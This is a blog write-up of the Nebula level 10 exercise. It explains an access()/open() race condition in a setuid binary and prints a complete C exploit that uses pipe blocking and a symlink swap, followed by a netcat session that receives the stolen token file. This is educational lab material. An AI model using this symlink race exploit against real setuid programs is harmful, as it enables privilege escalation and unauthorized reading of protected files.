Sunday, December 23, 2012

Exploit Exercise - Race Condition

Level 10 of nebula deals with race condition vulnerability. We have a setuid binary and a token file. The objective of this level is to read the token file. The setuid binary uses access() call to check the file for read permission. If successful, it reads the given file and sends it to user supplied ip address. Here is some info from man page about access:

The check is done using the calling process’s real UID and GID, rather than the effective IDs
Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it.

The scenario is exactly same as described by man page. To solve this level, we will create a file such that access() call succeeds. Then before open() is called, we will remove this file and create a symlink to the token file. Also the race can be won in one shot if we can block the setuid binary between the calls to access() and open(), which gives us lot of time. To block the process, we will fill the pipe fully and connect the stdout of flag10 to that pipe so that it blocks during the call to printf(). Here is the solution in C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define TARGET    "/home/flag10/flag10"
#define FLAG      "/home/flag10/token"
#define FILE      "/tmp/access"
#define HOST      "127.0.0.1"

int pipe_fd[2];
char buf[] = {"A"}; 

int main(int argc,char **argv)
{
    char *arg[] = {TARGET, FILE, HOST, 0};
    int size = 65536;   /* Size of pipe to fill */
    int count = 0;
    pipe(pipe_fd);
    /* Fill the pipe */
    while(count < size){
        write(pipe_fd[1], buf, 1);
        count++;
    }
    /* Create file, remove if already existing */
    unlink(FILE);
    open(FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if(fork() == (pid_t)0){
    /* Child Process */
        dup2(pipe_fd[1], 1);
        close(pipe_fd[0]);
        execvp(TARGET, arg);
    }
    else{
    /* Parent Process */
        count = 0;
        close(pipe_fd[1]);
        sleep(2); 
        unlink(FILE);   /* Unlink the file */
        symlink(FLAG, FILE);  /* Create symlink to token */
    /* Drain the pipe */
        while(count < size){
            read(pipe_fd[0], buf, 1);
            count++;
        }
        wait(NULL);
    } 
return 0;
}
Run netcat in another terminal to receive the contents of token file
level10@nebula:/tmp$ gcc -o level10 level10.c 
level10@nebula:/tmp$ ./level10

level10@nebula:~$ nc -vvv -l 18211
Connection from 127.0.0.1 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

No comments :

Post a Comment